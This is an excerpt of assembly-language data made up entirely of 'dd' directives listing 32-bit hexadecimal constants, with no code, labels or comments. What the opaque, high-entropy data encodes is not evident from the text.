		dd 0F6303AB8h, 0FEC34F21h, 0B8F7C529h, 0FF1705EBh, 10860921h
		dd 4812A3C3h, 26BED895h, 8EF2A09Fh, 0F2614FEAh,	0F7D12053h
		dd 0A3DCB5C2h, 0E0FCAECEh, 805966CFh, 970FB0F7h, 0DD282851h
		dd 7CBE30C0h, 0B045F030h, 19A809DFh, 17FE7378h,	6AE6AE39h
		dd 4CB94712h, 2DD7F34Ah, 565C61EDh, 9CDFB4D8h, 0D95A44D1h
		dd 0E7E86B38h, 0F12DEAF4h, 0CD9A27Ah, 0EFBEA2E9h, 0F2A173E1h
		dd 8ED19788h, 0FA542CC3h, 25257EC7h, 0BDF29EFDh, 443DC460h
		dd 5EC26880h, 388BF535h, 5C312763h, 0EE68E2E7h,	406BFA56h
		dd 14917B2h, 0EBBF65DDh, 6BDC3404h, 0B7BAEC80h,	2CF1161Dh
		dd 0BE8D8531h, 9A7F7138h, 0B85E9F04h, 7C96FD52h, 0F69B4120h
		dd 34FB0FE2h, 0AA653D82h, 78CA4BFh, 5C31205Fh, 0AE064BF3h
		dd 494CEE12h, 20B201FBh, 2A17E744h, 984D6AB0h, 60EC989Dh
		dd 0A8B12AD5h, 2905D855h, 7DB0E9F5h, 0A2AEA935h, 3C584820h
		dd 2BFF5087h, 8182B74Ch, 192810CCh, 581F074h, 0A06172EEh
		dd 51609125h, 0D8E82B54h
		dd 0ED9707A6h, 51490CFh, 72F97B5Bh, 4F587BB0h, 4F28FEBCh
		dd 0FB747CC0h, 0DF8AFD6Bh, 7F9CAD89h, 54B7D414h, 3DA29A1Ch
		dd 6A7D3242h, 0D0E9406Fh, 3F2C0212h, 13E95157h,	512D2D6h
		dd 5B2F57ADh, 0FC5A2856h, 0CC7F526Ch, 51749FE2h, 524CDDC9h
		dd 2D745B2Eh, 5EDFBB60h, 9813B85Dh, 0E29B4170h,	1AA5CA51h
		dd 68D65765h, 6510DEA4h, 4FE6BE1Fh, 8F454557h, 21D9AE27h
		dd 0CB9F0878h, 0D7C7651h, 945FE550h, 0CB2E329h,	0C24EAFE9h
		dd 0F2DCD45Dh, 9C105955h, 2048A743h, 8B3045A0h,	51190C75h
		dd 3E7441DFh, 0BC046994h, 5B09AE7Bh, 0BC938285h, 2D089400h
		dd 0B85980A5h, 681B6760h, 80F85E53h, 37B95156h,	6C483F0Ch
		dd 0F0825B04h, 9D9DDA2Dh, 5603ED6h, 4B4072D1h, 0F917A106h
		dd 50A667Bh, 79C10418h,	0E94F88AAh, 98C90A24h, 43BB5360h
		dd 140C0B2Dh, 561E3C1h,	5EAB4270h, 0C095FBCBh, 0D54AEE8h
		dd 0DD31A905h, 57E14D5Bh, 0F92BEFFh, 0B415B98Ah, 3016BAF7h
		dd 2968A438h, 505CA8h, 56596E62h, 0BE0ACF81h, 0A77B9328h
		dd 75703701h, 93A5733h,	0A65F5FABh, 9200896h, 0ABA1914Ah
		dd 0C09934F0h, 0FD7C3A6Fh, 453806CAh, 874EE6E9h, 505137D2h
		dd 2D4000B8h, 0A38B5E6Fh, 0F595C501h, 0D2F61220h, 2216B551h
		dd 561CEA28h, 0D08876C1h, 0FD6C97E9h, 5170A44Eh, 83F7009h
		dd 3AE6575Bh, 2D84834Dh, 25469E5Dh, 21D91CE9h, 65D82989h
		dd 97D29F3h, 9ED5303Fh,	49B8209Eh, 1A302EA0h, 4CCAB980h
		dd 8A5AF00Fh, 0BD604A2Ch, 4A5F4C57h, 807A341Eh,	952854CBh
		dd 0EF091529h, 0F10382E2h, 5C12BA75h, 0B271461Ah, 0E80B295Dh
		dd 0C27F0459h, 385B406Ch, 5AF02877h, 0D3569C0h,	0F82425FDh
		dd 0F417CE53h, 2F10B6BCh, 0CFFE03AEh, 31FBC780h, 4F142D26h
		dd 0E518DC47h, 71965795h, 52DCB80Bh, 115743Ch, 290317CEh
		dd 49AC3E21h, 0C002F4Ch, 0E9D6FFEDh, 48CB7269h,	490177BBh
		dd 735C293Bh, 0D2E917FFh, 0F86F29B5h, 58760402h, 0B1EA2DDEh
		dd 82080436h, 517FFBF8h, 0C4F56B50h, 0A14A5B79h, 4DA32B25h
		dd 9D6A257Bh, 0CBC24554h, 0CCA6E984h, 0BDAB057Eh, 8417E879h
		dd 0D9FB7D4Fh, 2BEE3033h, 0C0B70E27h, 252EF0E5h, 54A8399Fh
		dd 0C3408h, 0E9555914h,	94C0CB40h, 0C1805866h, 0E870E1D8h
		dd 0C111601Eh, 3C875BDFh, 160618B5h, 2F3D7806h,	0B74815E9h
		dd 0D1836C1Bh, 1A64F49Dh, 5FE19039h, 4AFBE931h,	50E5CEAFh
		dd 49C7A7C7h, 3364360Dh, 0DE005199h, 509A6CAFh,	0E59BD0Ch
		dd 4E2CE94Fh, 7562F6EEh, 0E9753180h, 21C57355h,	37CFA03Eh
		dd 562FD2BCh, 80A6CAD5h, 9A06851h, 0E9134C6Bh, 79BC4312h
		dd 46EF01A1h, 0D6971CD2h, 66DF7289h, 69830998h,	95F242B6h
		dd 46BDF09h, 572F0B16h,	0C05769Ah, 42B1AD5Bh, 2743801Fh
		dd 88011E88h, 7A4F4A68h, 95D25B8Ch, 0CA311B77h,	0AE7882h
		dd 1A89255Ah, 0E8C133C2h, 3CE6084Ch, 1332381Ch,	37BCF831h
		dd 75F7C3B0h, 1071F1Dh,	82018ACh, 0F3685809h, 116FF7Dh
		dd 4C928D2h, 7CFFFA42h,	522A03E9h, 0BEDA0173h, 704DF6C9h
		dd 39C04FD9h, 435192F1h, 0B456902Eh, 5DE8C243h,	66C338C0h
		dd 0D009BEBCh, 0F322277h, 843C7970h, 0E814EE68h, 0B7CCC526h
		dd 153DD8ABh, 135BB040h, 0B328A968h, 1A480Bh, 421B1C8Ah
		dd 7B70D0BAh, 0ED8B779h, 0D6BD54E6h, 165972CDh,	8E77E8A7h
		dd 0A551B91Eh, 16DB1A74h, 0EF6BE9EBh, 58060CD0h, 2966121Ah
		dd 9C45D1F7h, 0D75C0248h, 834E2502h, 11807709h,	3084B75Bh
		dd 9D51F752h, 0F0B5321Dh, 69162382h, 7A297Ch, 718AED1Eh
		dd 50030346h, 443C3868h, 1520EE73h, 0B86E31E9h,	2D6F5710h
		dd 1CD2D45Eh, 0BF7C8FECh, 0AC70AAA4h, 5711C051h, 0B0BE3D53h
		dd 72F609D5h, 5E5CC631h, 83B23DF8h, 0F761A64Eh,	0AA0599A3h
		dd 297832C1h, 2C0F7824h, 0C96F02B6h, 4CBF16FFh,	0FC517350h
		dd 413FE435h, 617DC812h, 4F7E56Ah, 801C0818h, 13F82747h
		dd 5FB11AD7h, 66406F54h, 5369BF0Ah, 0A40ED01h, 73302768h
		dd 12F24598h, 0F416DF2Dh, 0AFE94169h, 80F36A6Eh, 2E796882h
		dd 6C623774h, 0EA5C05D8h, 177441B2h, 0BE54C668h, 7E34A08Eh
		dd 27C2F863h, 0BBB56093h, 0BABE1E4Eh, 4BAB8927h, 0CB488CD2h
		dd 605309E2h, 0D9D4A9B4h, 388C6D96h, 1D5942B3h,	0A4AEE280h
		dd 0BE9500Bh, 598AC93Bh, 0F847FBD9h, 2FA411B0h,	4C7AB55Fh
		dd 90D4D29Fh, 943F20D3h, 4055C16h, 0A24F4FF6h, 75686CEh
		dd 4407110h, 76301225h,	0D47EE87Ch, 2F3D07A4h, 0F7952B45h
		dd 0DDEFE509h, 0C85DD66Ah, 3B14BE34h, 0CF037993h, 61E77FADh
		dd 22E94916h, 0D82E20BEh, 284B6D38h, 533B93EAh,	0F34D6444h
		dd 0FDADC8CDh, 843AC40h, 0F581A141h, 805CA61h, 8BAFEA12h
		dd 25FE59F4h, 3C6B586Eh, 0CCCA875Fh, 0E77D7C2Dh, 0C8293717h
		dd 5392C6B2h, 0A25E003Fh, 810A5474h, 0DEBE505h,	2F8060ADh
		dd 502F40E2h, 1748C829h, 0A128CB36h, 0AB022E25h, 7E058CD1h
		dd 0FBCA3973h, 65A80801h, 0C4832E5Fh, 0D1A09A5Ch, 0F1E91F1Eh
		dd 0B42D1667h, 0B4E9C1F4h, 0F8CE6B10h, 2AFB994Eh, 41F79AAh
		dd 0A8CE05E3h, 0B2E4EE98h, 0F89405h, 0C0FE9CB0h, 28006234h
		dd 0E2D058C2h, 0B397F4E9h, 3B0D090Dh, 68049DF1h, 9AE67362h
		dd 0E6A14A7Ah, 27FD1857h, 4F66D185h, 0CEE85Ah, 478F280h
		dd 9D68E915h, 78558F09h, 13C09F8Dh, 2D80FD94h, 87F80319h
		dd 58C1293Eh, 0B04E497h, 6E880181h, 136AAB21h, 0B938107h
		dd 0DAD6CA9Ah, 0C4EFE906h, 4438DF48h, 0BE0CF568h, 6BE42ADDh
		dd 0A87A4ACDh, 0F90ED26Ch, 142D1CB6h, 2E56BD5Bh, 4906340Bh
		dd 0DDC25448h, 7640EA7Bh, 3471F626h, 0B82D70E9h, 0E6B44E8Ah
		dd 731907B3h, 0C2A3BB7Ah, 0BC789C11h, 84BAE398h, 8081D2F2h
		dd 85044A8Ah, 2D2C1DE4h, 0B282CB65h, 4AA0E97Fh,	889700FAh
		dd 3E689917h, 8698D901h, 97ED1B67h, 0A141E80Eh,	5D569F89h
		dd 7752AB4Bh, 805AE620h, 0D2A00CC6h, 0F3782839h, 0E97F4E98h
		dd 19B5324Bh, 0DE082C94h, 0E232EB2Eh, 5F36279h,	17DD454Bh
		dd 1350153h, 705B6E93h,	0CE41398Eh, 0B26BAED4h,	0FFD14AC5h
		dd 5E5E0992h, 0E1F59715h, 793E3D18h, 0D42C2127h, 0CC77726Ah
		dd 0EB515FADh, 25E9047Ch, 0BF92DF0h, 637D253Ch,	0B0AEDC2Dh
		dd 73F6568Dh, 0A2B97C4Fh, 0AAC8C9DEh, 0C16883A7h, 3B7C7520h
		dd 8F57400Eh, 560C18FBh, 1A9B3E6Ch, 159AE303h, 183B05D6h
		dd 14A7214h, 7A5554ACh,	0E2E91E24h, 0A4C5B7E8h,	0AC4B7311h
		dd 131604F9h, 7C2380Ch,	94405D01h, 4803495Fh, 2743E281h
		dd 0EA608F65h, 2CDCCEBFh, 83FC21C4h, 0FA35C9C7h, 79C9ABC5h
		dd 67B72D2Bh, 0E9301AF1h, 5026A128h, 0E7203CB8h, 336B9774h
		dd 8BC676FAh, 9B4891F0h, 0B028FD7h, 0C70C102Fh,	0D2470B71h
		dd 0A674312Bh, 0F3A48239h, 48B2E9CEh, 49DDF742h, 2D15FC4Dh
		dd 809D4935h, 13C2CFF2h, 0D56089ABh, 107CC1DAh,	12B1ECBh
		dd 85139E9h, 0CCA226DCh, 380ED759h, 1FF965B7h, 82874C52h
		dd 0A0BC590Ch, 5E89776Bh, 8EEF4CD5h, 1C872F09h,	0C4D3459h
		dd 0D7FFA27Fh, 0E9F568EAh, 96B9404Fh, 0F76212Dh, 0C8311086h
		dd 0E1F898A6h, 0D05AE87Fh, 0BAA24EEFh, 0F7B4BFD2h, 0D1C9EB30h
		dd 0C9FE088Ah, 99E90408h, 30D5E51Dh, 574EEB6Ah,	0D0DF55F8h
		dd 8B5E2BB9h, 843C8023h, 9808E9C3h, 1D90A3D1h, 0CC3C307Ah
		dd 6B12CB06h, 4B01D2F7h
		dd 53F8B61Ch, 48E9DE50h, 0E599B5A6h, 1F5BA8CEh,	3668072Eh
		dd 0CFFE1035h, 0B01D16D0h, 8F130991h, 0BFE5903Ch, 0B1581A23h
		dd 706627F9h, 0A81E8416h, 0BFE2E7B0h, 0D891A73Fh, 2C392F3h
		dd 2A3CEA63h, 49401FA3h, 0C13E35E0h, 0E5CA1D63h, 2454D30Ch
		dd 2DF90FB3h, 2C333118h, 754EE9F0h, 0A9B86900h,	75E4C4Eh
		dd 0D92E1B2Dh, 65615F5Dh, 0E4055428h, 535AB545h, 8B3FDF04h
		dd 7508CABh, 0C78A7D4Ah, 222D258h, 0E27B0141h, 8D73C4D3h
		dd 63E072CDh, 448EBE7Bh, 0B19EAF59h, 0AC20144Ch, 13EB8103h
		dd 0D93F881Ah, 0E0325A5Ch, 697C042Fh, 2E680DCCh, 6B4D2E8Ah
		dd 9507E457h, 0BD1B232Ch, 415ABE09h, 9DF1F018h,	0C006F584h
		dd 0C92DFC7Eh, 2493148h, 6FE67536h, 1DE4F748h, 2DD65E58h
		dd 8514204Eh, 0B557D73Eh, 1C5F5B63h, 4BEBA416h,	0E8098F8Ah
		dd 3EBAFFC0h, 729A1D12h, 53D6D2FEh, 0B7EAE47Fh,	0C5B7816Ch
		dd 43726AA2h, 760B682Fh, 75B665Ch, 455FDAC3h, 0F4EE1AFBh
		dd 0B62C52B3h, 0DA3EDA39h, 0FD2571C7h, 5A819CB2h, 6B43E950h
		dd 0A7BF0512h, 3AE9828Dh, 196ED72Dh, 814095B0h,	0B925F568h
		dd 0A82493E9h, 4D0B00B8h, 0BFB91FFCh, 6A131637h, 79E2C131h
		dd 87DFFB26h, 788EF80h,	8A1EA3F9h, 0D3F73E09h, 28457043h
		dd 0C1800749h, 41603F0Ch, 0BE1D20DDh, 201ACEF4h, 51CCB29h
		dd 0D3AB8708h, 98D26062h, 70836DE3h, 5A466C27h,	45D80FD1h
		dd 54C46EC0h, 0E68BBA3Ah, 9469EA7Dh, 98BF50BAh,	0FE35B12h
		dd 3D752701h, 602F6D1Ch, 77720DD9h, 7AD06BE3h, 2FB37CAEh
		dd 98DC294Bh, 4E8F180Ch, 55582654h, 62411061h, 8232A71Ch
		dd 9933006h, 1EA87B02h,	0BA817F5Bh, 34B956C3h, 92E2930h
		dd 4278211Eh, 4863248Eh, 1A052268h, 57A4064Eh, 54C1BFC0h
		dd 9C024835h, 13F44227h, 7F655549h, 2216C825h, 1D008C05h
		dd 0BF783339h, 13CCC6E7h, 0FBDF0187h, 0CA6A063Dh, 0E9510594h
		dd 0AF2930DEh, 0C073B5ECh, 3A2BBB8Eh, 98C2031Ch, 0DD34092Ah
		dd 0AF207CD8h, 0ECEA9D66h, 0F428BAFFh, 9E1425AAh, 15AC6816h
		dd 9586A3CCh, 54B9D700h, 2C01A14Ch, 0A455A0BDh,	95303158h
		dd 0E9DD1629h, 0ACEAF0E0h, 41F2C16h, 0DDD8400Eh, 1AB75304h
		dd 0F6D5C8AFh, 5250D700h, 0D488B5B2h, 0AEB830E9h, 5801F7E9h
		dd 686B2004h, 7CA253ADh, 0EDB4F448h, 550993DBh,	0A550D6DBh
		dd 55A9647Fh, 432C8623h, 0B89B94Ah, 0B486BC3h, 0E9DC0135h
		dd 367A6F46h, 0B88065D0h, 539D6EB7h, 6D163DA4h,	0FA20BF90h
		dd 3E251FB9h, 2A94059Ah, 34960DDEh, 42F9BE29h, 0E9F2F04Bh
		dd 0F286982Fh, 0EFF60B95h, 0AA602914h, 97045BDEh, 75ACE92Dh
		dd 0C5880891h, 883AEBC9h, 59DF14Ch, 2BB50A1h, 58250852h
		dd 0E05B6DD4h, 0B8764D63h, 35590279h, 4C012903h, 65133940h
		dd 7921C933h, 0F927CB73h, 0E57F5FFAh, 100B05BBh, 0D859179Ah
		dd 395F4303h, 0F7A2E91Fh, 0D6FE4EDFh, 5F22E816h, 50D490A7h
		dd 0AC446884h, 2AEB4FEAh, 11051C69h, 8D94572Dh,	649234FCh
		dd 0D883FCB5h, 1A97E929h, 0D950C22Fh, 83F7A5C4h, 0DCB8683Dh
		dd 0F255108Ch, 0C92516E3h, 59790B41h, 66A215C3h, 78FF2BCAh
		dd 297CB764h, 0FD6F4252h, 982798FAh, 76962517h,	2DE9973Ch
		dd 3457A545h, 2D609554h, 0E29F3868h, 0D8C656D1h, 6825E1F7h
		dd 0A70B51BDh, 0BE0C215Eh, 620B8DACh, 83FC7B74h, 47FD2104h
		dd 0C43041Fh, 28189C0Fh, 79E2D058h, 0A7C49E5Bh,	5AFAE8BBh
		dd 1D972BBh, 0D355B8BAh, 1C526CA7h, 88907997h, 0E9617F8Ch
		dd 20924238h, 168C1C28h, 0D0F904C3h, 0D473274Ch, 94CB1626h
		dd 0C5A84708h, 19ED33C2h, 0D6E0A9DFh, 0B7A401B8h, 0D106CD2Dh
		dd 9F1F8873h, 0CF240D29h, 0B0B68F0Bh, 2D572EA8h, 0FAF66CF2h
		dd 34B0919Dh, 0F002EFC1h, 69A660FDh, 12450830h,	3B25AAB8h
		dd 20D64C4Ch, 0C2984A73h, 9F5DF2BDh, 0BF01AE53h, 5486330Eh
		dd 315AC72Eh, 0F70668F0h, 174CBF1Bh, 0F884B4AFh, 1897E944h
		dd 792B39BBh, 25AD4C28h, 7774C8D1h, 69FB9D0Bh, 544092BDh
		dd 0A2102CE3h, 77FE4F70h, 0FBA5E487h, 0F6D98417h, 16560A60h
		dd 0D83BD114h, 2A59CA54h, 8A125B87h, 39AF27BFh,	4427A57Ch
		dd 20577B96h, 42248062h, 3902B34Ah, 57465271h, 130FB60Ah
		dd 0E2A28C94h, 0E3EABCD2h, 630F8687h, 7D4B764h,	9E6FBF2h
		dd 475D5DEEh, 6853024Ch, 8B595D64h, 1193B3B9h, 0F8F7BAE0h
		dd 8CDC9D75h, 5B545650h, 0E41CE25Eh, 804AC0E4h,	585B5950h
		dd 811694E6h, 0E854FFC7h, 5B9227EAh, 65D54B7Ch,	0E74E95D7h
		dd 2ACD0E7Fh, 817D5B4Dh, 0E45392EDh, 660C800Ch,	31D26FC4h
		dd 0A05D4EE9h, 0F7E2404Fh, 0B82DD003h, 0F126F37Dh, 396AC72Bh
		dd 10787C64h, 0EE4B4C71h, 0BEEB26C8h, 51F42F14h, 0B1F3401h
		dd 406E5F24h, 0F4E0CBC4h, 0F95D89DBh, 0BB53830Eh, 55652D20h
		dd 81822075h, 4C4017E2h, 0AF184B78h, 3EEF1783h,	0C692B213h
		dd 340214FBh, 0A59D1D4Ah, 72881D5Eh, 49680BFEh,	0E3E95833h
		dd 0D4192DB5h, 4D137023h, 1D052BD8h, 39AB216Fh,	73E6F8EAh
		dd 54C341C9h, 2389A5B1h, 84F0F57h, 68560EF0h, 15D17FA3h
		dd 5565DFD9h, 5C8EAAE8h, 8E25051Dh, 96A02FB7h, 290D1762h
		dd 108EF851h, 63E9D808h, 0DAE2B14Ah, 8464AD93h,	8AAE36D8h
		dd 0E97961F6h, 39AD70A9h, 0B9019A76h, 626E1827h, 57E9226Eh
		dd 4342A340h, 3170F00Ah, 72A5216Ch, 6265204Bh, 81DA9981h
		dd 15B62573h, 0B3D46A61h, 17432424h, 0C9DE832Eh, 5834DA60h
		dd 0C0E103FFh, 20D5C96Bh, 0F4A8C3C3h, 7496874Ah, 0C3FC702h
		dd 42BE8578h, 133030FBh, 0D1739131h, 4058F340h,	513B666Ah
		dd 0C87B70B1h, 0C782E027h, 0F5253F12h, 0E5B72A78h, 45690946h
		dd 0CAA745F3h, 902FC09Ah, 0F9E7974Ch, 959F91A0h, 244322F1h
		dd 0E9F76CF0h, 0E9EB6238h, 2F955C31h, 5800608Bh, 1948CC68h
		dd 1040D46Fh, 0BD049EC5h, 0A5E4B026h, 650DF5ACh, 4CF32FB4h
		dd 0AA93307Bh, 1A3CFA3h, 1F655B3Bh, 32CB8CE7h, 789B7764h
		dd 94F8B85Ah, 0B23DF7C0h, 0AB5EE90Eh, 0D8646E97h, 40CB3588h
		dd 0B24A687Ch, 0C29DCCE9h, 591FB923h, 0A3CFCBDDh, 67FBB9A5h
		dd 363E24h, 89432C62h, 8CCFE9EFh, 3CA97197h, 0CA996416h
		dd 8D535492h, 28F7213h,	7D4C5DFDh, 8160A43h, 599DBF58h
		dd 3DCC07A7h, 72984C24h, 5D7D9042h, 0A9569210h,	0C8E9289Eh
		dd 0CE3DB475h, 51E4FE2Bh, 44F3FF89h, 0FF6D4B7Ah, 0B93075C9h
		dd 5A61770Dh, 2806051Dh, 243AF4Dh, 0C15A9BF5h, 0E03C2988h
		dd 3C0E7427h, 4DF3A976h, 29304A8Fh, 5EFE789Fh, 2ABEE817h
		dd 649DAB5Ah, 0B7D9704h, 0DCF70923h, 0FD2958EEh, 73ADE913h
		dd 9C843DADh, 1F121652h, 9FEEB257h, 29E90BD7h, 0E33E5D69h
		dd 45213C40h, 0BE188371h, 16062961h, 0BA9B3544h, 0D224D28Ah
		dd 585A843Eh, 30E58050h, 7802934Fh, 6CB0D4B8h, 33815587h
		dd 3873ED68h, 3651CE9Fh, 0FEF79AB8h, 69298A16h,	3F100479h
		dd 3EFA6802h, 0F0BF21E6h, 965D005Fh, 81495957h,	733EBDE1h
		dd 0F13AF6E0h, 0A802429h, 2A08CA12h, 0EC5B1232h, 0BCD5873h
		dd 0C6039268h, 74470227h, 0DAF7388Dh, 4B9CEC1h,	4A80A0EEh
		dd 6ECF8001h, 0C7FEE7D0h, 4AE97F30h, 5D5C839Ah,	21BBBF5Eh
		dd 55E6AABh, 555F0980h,	302B9087h, 0C21780D1h, 832544C4h
		dd 1FC6F06Eh, 160DB27h,	3A6DECF2h, 410C8011h, 3101D20Ah
		dd 0CEE92FD6h, 0C0EA7891h
		dd 2BF51ABh, 510E5725h,	69998BD6h, 0BFF8AA9Bh, 0AF267F2Bh
		dd 79003C4Ah, 6877971Ah, 3A7BB59Fh, 75169202h, 17BC5B3Dh
		dd 2BBCE117h, 0E7E2BFF2h, 0F77584FFh, 0BBC160E8h, 0E112427Fh
		dd 6F0FCC2h, 0D38B7A93h, 38ABC614h, 0AA5F5372h,	0F060AF69h
		dd 0BCA4FE9h, 0F351516Dh, 8B2080ACh, 0D504F284h, 394B685Ah
		dd 7A5298FAh, 43AB4200h, 77EF0BBBh, 9574B2F4h, 14E9D798h
		dd 7E7B7569h, 5CF300D6h, 68523321h, 2A20F72Ah, 0FE2BE1B5h
		dd 0C3E4F23Fh, 0CCAAE950h, 0EBBF2EEh, 62F9F766h, 5D5AA268h
		dd 48C232D4h, 9BE4095Dh, 25935B4Dh, 0A2862096h,	3C0E3573h
		dd 0A072C629h, 0BEB5E908h, 92BD0101h, 20438E42h, 3B79C546h
		dd 0A60C4560h, 803D512Fh, 0C01E9734h, 5ED2E9B6h, 0EA2BC929h
		dd 5C52DE5Dh, 2F0F9CCh,	953201Eh, 4C05DEFh, 54C4712h, 0A3C727DBh
		dd 3B8C75D3h, 1F95F1F9h, 0E6078A88h, 1158C680h,	0F83AB252h
		dd 76BD6292h, 0FFDAFA4Ah, 0DCCEE281h, 0C2BD79A5h, 0E969C06Fh
		dd 1D0FB58Fh, 0EF2048E4h, 5EF1FE81h, 0E6A6A349h, 6709AF3Bh
		dd 4B5287FDh, 2788C0C3h, 5EAF6818h, 0CC137E45h,	81BF2F5Bh
		dd 0D5B0509Ah, 4D02F7C2h, 5E09194Ah, 0CFF200F0h, 3105F5D4h
		dd 41F83703h, 501527E9h, 146A6723h, 993D9044h, 0D364C61Dh
		dd 24E5E829h, 3BA769DEh, 6A5EEA5Ch, 0D31B8565h,	1C1E25ECh
		dd 0D19B3262h, 675FDD89h, 52B32C74h, 289AED75h,	63422055h
		dd 78CD3139h, 0D9C908DEh, 47C9A21Fh, 806F7909h,	702060E4h
		dd 30FED405h, 27F34A48h, 427158Ch, 0EA1A80E9h, 0B006DB26h
		dd 0ABF05A3Fh, 5BC26421h, 5DD58205h, 0BA882356h, 84B90125h
		dd 0E82EE1B4h, 0ECBD9E78h, 8F2A9612h, 6016AA68h, 0A838197Dh
		dd 0D727597Dh, 0B0521847h, 7D808A5Dh, 0E5C078B5h, 0ED800202h
		dd 0D8D5F63Eh, 0E9AC1FE0h, 0CA56E57Dh, 769B3AC7h, 4F00C975h
		dd 14A66EDAh, 25F85348h, 0F3551825h, 32590120h,	0D67DDCBBh
		dd 0E5F12E41h, 2356AB2Bh, 348F4FF1h, 28A0EE80h,	0FBB151C6h
		dd 0D0D1F614h, 45E106A4h, 0E812C9FEh, 0A2EDF3C1h, 928DF5F4h
		dd 0F9029F77h, 0B3445B1Bh, 757A8002h, 77DF21D6h, 0DF95F2DAh
		dd 86682C01h, 5C713362h, 0A7E93AF1h, 72867E29h,	201F967Dh
		dd 0BD0053D6h, 55222139h, 289CD81h, 0E90CCB18h,	4CDA5BD3h
		dd 2D535D48h, 818F766Ah, 0A75E13E5h, 2CCC6134h,	82472CC0h
		dd 70505104h, 0F1CF6CC0h, 694E0B42h, 4A424BE9h,	3EDEED57h
		dd 0DFD0AEC8h, 31FE6627h, 46A2D62h, 0A743825Fh,	802DC108h
		dd 0DE735A4Bh, 0B283C13Ch, 6C142B07h, 0C020620Ch, 86407F20h
		dd 3CC7F682h, 0D053C888h, 94EFD552h, 340DDD19h,	856B958Ah
		dd 0CB510530h, 0DA8EFEC2h, 32A0577h, 0BA586E2Fh, 0A46B972Dh
		dd 4D5DB75Eh, 5A2885BDh, 13C8E2FAh, 28B85B07h, 958BBFD6h
		dd 206BA29h, 77E157C1h,	579F9A7Dh, 0BF821165h, 75155069h
		dd 6140D3C0h, 0C1582AC7h, 83E0286h, 638D39B1h, 0AB96B7EAh
		dd 0DD298C45h, 0AA4A9E8Eh, 87FA1953h, 1F0B92D2h, 1EB91CDFh
		dd 0A5E9C9B2h, 4BBD0256h, 92668ABFh, 50868AEEh,	537C8F48h
		dd 0D4BB014Eh, 848C01CEh, 6B8229C7h, 0EAF40AC7h, 0EE000EBh
		dd 813CE056h, 0D0AF137h, 22B4CAF4h, 0BB7140A9h,	763BFE0Ch
		dd 275644Ah, 4547E120h,	0D9FD9C68h, 11448045h, 0E3810372h
		dd 42530D0Bh, 0CD89004Fh, 97C676B2h, 224145Fh, 0A9C7E7Ah
		dd 17F00EE9h, 0F9EE217Bh, 0C524975Fh, 0FB4F15E8h, 681C0330h
		dd 197603h, 43C83AF3h, 5BDE899Dh, 32F0212Dh, 0E65457A8h
		dd 68859948h, 0B2341EBDh, 0DAD0399h, 0A949CE54h, 0ADD5C54Eh
		dd 5E7980B0h, 0A4C5C082h, 0A968BD9Ah, 842F3F39h, 20E0D01Eh
		dd 0F2FA57AEh, 46698209h, 95C97704h, 5EAD6031h,	0BD0196B6h
		dd 76DF5753h, 0FBD95DF2h, 0FFF2D40h, 0EC61580Eh, 0C4125621h
		dd 5D48DCAFh, 495CD1BFh, 7BB5667Ah, 8D9F1A85h, 557AC742h
		dd 1657E33Ch, 34BA6336h, 9613E9EDh, 0E5B7F904h,	0B01AFCBAh
		dd 2E0567CDh, 2E35C35h,	23C06D75h, 626C7256h, 0C71A64CCh
		dd 0EE00BE5Bh, 354DE038h, 560BC712h, 0E959A4E9h, 324D77DAh
		dd 0DAF63E84h, 9DB48FD7h, 0E25E4AB8h, 0FBE9E0CFh, 0C11FC023h
		dd 3F01435Dh, 67CE092Ch, 80AB622Fh, 0A5B9F5A7h,	973141E1h
		dd 8DEABFF0h, 9F1E872h,	72124BD8h, 18C13E02h, 0C8895612h
		dd 55095E7Eh, 0D744B468h, 2C7D0631h, 8FBAD353h,	0FB8E5AE6h
		dd 16578310h, 98AADA01h, 3318820h, 7FF1B65Bh, 663DEF35h
		dd 0AAAD7B9Fh, 592745F3h, 6F5459C5h, 6FAD18A8h,	2E857EB8h
		dd 0B355E57h, 59F4A03Ch, 4B013A85h, 0F1A00BEh, 424D757Ch
		dd 9F05E919h, 173E5E24h, 6916913Ah, 0C1AE0480h,	0AFA698C1h
		dd 5515CF5h, 810F34F5h,	2B56F4DFh, 0F01774E6h, 92DDB3D7h
		dd 5838B0C2h, 3D74BDCDh, 27689754h, 3E174DC7h, 50FE269Ah
		dd 0ED5E0825h, 63AE84B0h, 950FEDE3h, 0B4B97249h, 620DA791h
		dd 23A2F76Eh, 0D15F6619h, 0F901848Dh, 0BC41C85Fh, 2D05E5B2h
		dd 63D137Bh, 5E4BFDF4h,	301CCC9Bh, 65FD384Eh, 10752DC0h
		dd 114124Fh, 3C0705E8h,	0C6F8285Dh, 5B73030Bh, 9F960819h
		dd 71E0F509h, 76816A0h,	0D2543776h, 79FF6362h, 894A6946h
		dd 7667F81h, 6E5FF6CCh,	9C6BE62Fh, 0DEBC5CE4h, 7CC1E985h
		dd 71ABE595h, 279C479h,	20EC5D01h, 484425Ch, 0B9FC7161h
		dd 6913FAh, 1B65D858h, 35B22905h, 315D0882h, 3372EB14h
		dd 0EEE3C11Fh, 109942CBh, 487609h, 0D0E4118h, 30E0CA3h
		dd 491C3545h, 0C761027Eh, 7D489258h, 0A555CDE1h, 82167455h
		dd 1C06730h, 4D797D7h, 0A92291E9h, 503C169Ch, 0F298DB0Fh
		dd 5897711Dh, 0B7F5D988h, 9FEF005Ch, 83189499h,	49B9F251h
		dd 53773740h, 0C06604Dh, 0F43D7C11h, 0E9EB8904h, 31BEFC82h
		dd 7F75A441h, 59264EDh,	41A1D5F0h, 1368F1C6h, 0F7522B0Ah
		dd 88B933FAh, 0D3F3BBFCh, 2F3CEE5Eh, 72F630E9h,	0E51B050Ah
		dd 31BCE404h, 0B8FC58C2h, 486FF205h, 8CB5C1AAh,	86802D24h
		dd 51471D5Ch, 0E77A9C8Ah, 9AF93EAEh, 759C7E53h,	9F8A9A80h
		dd 0C0978088h, 5E3A68F8h, 0BD78C14h, 57CF429Fh,	0AE426459h
		dd 0DDEFA9ABh, 0C0FD10C1h, 0C0BF54E8h, 4E902D55h, 15D58514h
		dd 0DD17D604h, 3E8CBFBEh, 0F6385E10h, 47387A7Fh, 75AB4E4Dh
		dd 4B4C2297h, 5B9F3DF0h, 638E089Eh, 0D8015A04h,	186EF280h
		dd 0AF8B7C3h, 0F93B5D7Fh, 0AACA0208h, 8068E04Ah, 9A07EAA9h
		dd 4753B747h, 0F8ACE989h, 914D97CCh, 7FC6FA8Bh,	5E7B7546h
		dd 0CA003BFDh, 8003EEC0h, 28F21FC6h, 64D94BF4h,	4201A66h
		dd 2F7597C8h, 0C0554B5Dh, 1808BE83h, 0CC0D656Dh, 25011168h
